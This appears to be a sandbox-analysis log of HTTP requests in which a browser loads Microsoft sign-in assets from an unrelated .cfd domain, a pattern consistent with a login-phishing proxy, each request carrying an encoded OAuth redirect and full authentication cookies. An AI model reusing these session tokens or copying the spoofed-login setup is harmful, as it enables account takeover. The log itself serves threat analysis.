Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
